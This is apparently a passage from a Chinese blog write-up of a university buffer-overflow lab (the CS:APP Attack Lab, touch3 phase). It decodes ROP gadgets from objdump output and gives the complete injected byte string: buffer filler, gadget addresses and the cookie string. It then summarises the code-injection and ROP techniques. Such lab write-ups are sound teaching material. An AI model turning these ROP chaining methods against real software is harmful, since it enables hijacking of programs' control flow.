| 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret 0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret 0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 ret
|
将其拆解为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 4019ab: 58 popq %rax 4019ac: 90 nop 4019ad: c3 retq
4019dd: 89 c2 movl %eax, %edx 4019df: 90 nop 4019e0: c3 retq
401a34: 89 d1 movl %edx, %ecx 401a36: 38 c9 cmpb %cl, %cl ;有亿点点离谱了,在表最下面还是能查到的 401a38: c3 retq
401a13: 89 ce movl %ecx, %esi 401a15: 90 nop 401a16: 90 nop 401a17: c3 retq
|
这次经历非常残酷的曲线救国,经历了%eax-> %edx -> %ecx -> %esi
带入了add_xy
之后,结果地址输出在rax
上,我们还需要把rax
上参数传到rdi
上,来作为第一参数传递给touch3
,也就是movq %rax, %rdi
。
经历了一番查找,我们找到片段:
1 2 3
| 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret
|
将其拆解为:
1 2
| 4019a2: 48 89 c7 movq %rax, %rdi 4019a5: c3 retq
|
至此所有gadgets
都已获得。
我们通过objdump
获得touch3
的入口地址为0x4018fa
。同时将"59b997fa"
转为ASCII码:
1
| 35 39 62 39 39 37 66 61 00
|
至此,我们的准备工作已经完毕,内存布局如下:
注入的字符串应该为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /* fill buffer(40 bytes) */ ad 1a 40 00 00 00 00 00 /* movq %rsp, %rax */ a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */ ab 19 40 00 00 00 00 00 /* popq %rax */ 48 00 00 00 00 00 00 00 /* bias */ dd 19 40 00 00 00 00 00 /* movl %eax, %edx */ 34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */ 13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */ d6 19 40 00 00 00 00 00 /* add_xy */ a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */ fa 18 40 00 00 00 00 00 /* touch3 */ 35 39 62 39 39 37 66 61 00 /* "59b997fa" */
|
尝试验证,可以通过:
总结
本次试验全程利用了缓冲区溢出漏洞,我们通过覆写栈帧中返回地址的方式,可以将程序指向我们希望的位置运行,来完成攻击的目的。
第一阶段中,程序没有进行栈地址随机化和禁止栈上代码执行等操作,因此我们可以大胆的将注入程序字节码写在缓冲区中,直接将返回地址指向这段程序。
第二阶段中,我们通过ROP的方式,通过将返回地址指向已经存在的程序中的代码片段gadgets
,强行让程序曲解执行的字节码的含义来达到我们想要的目的。
难度挺大,但是还是挺有趣的,下次再接再厉吧~